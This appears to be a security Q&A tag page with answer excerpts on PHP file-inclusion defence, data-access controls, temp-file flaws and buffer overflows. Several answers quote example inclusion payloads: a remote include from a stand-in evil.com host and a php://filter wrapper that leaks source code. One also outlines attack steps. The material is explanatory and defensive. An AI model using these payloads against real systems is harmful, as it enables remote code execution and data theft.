Tag Info

New answers tagged

1

Blacklisting is rarely a good idea. A whitelist would be a better approach. Say you are using includes for language selection. Check whether file equals english, french, or german for example. Call die() if not. Then it does not matter if a user supplies http://example.com/evil.php, php://filter/convert.base64-encode/resource=filename.php or sql.php as your ...


4

First of all, you are not merely disclosing file content. You are executing it. If php is configured to allow URL inclusion the attacker can simply do file=http://evil.com/attackercode.txt and your script will execute the attackers code. Alternatively the attacker can perform a local file include by sending php code in request headers and do ...


1

A lot of a correct answer for you will be up to the jurisdictions that you are subject to (laws, regulations, contracts with customers, etc.) But, as for industry standard ways of dealing with access to customer data, you would need: a ticketing system to record the request by customers for changes (and thereby, permission to access) clear separation of ...


1

This is a generic vulnerability, for example Insecure Temporary File - OWASP . You ask if this is "a major exploitable risk or a minor security risk". That is the wrong question -- a vulnerability is not a risk. For example, using the Internet Security Glossary a risk is "An expectation of loss expressed as the probability that a particular threat will ...


1

Usually, the first step is finding and scanning that which port are open , second one(because here is not for learning hack just talk in general): using some application for finding which program are installed on that computer, then finding the exploits on those application and at the end run a specific script on that, such as buffer over-fellow and get ...


1

Let's suppose a >10mb file opened in notepad causes a buffer overflow and somehow the instruction pointer is set to a location inside that buffer. Somebody could create a maliciously crafted text file which contains shell code at that location inside the text file. You download the text from the internet, put it in notepad and then the malicious program ...


2

Whom should I save the pc from? If the desktop application is not listening on a port, it means if there is a potential vulnerability, it can only be exploited locally. The attacker might have exploited another vulnerability and now looking for privilege escalation or persistence. Don't always assume a vulnerable desktop application would result in ...



Top 50 recent answers are included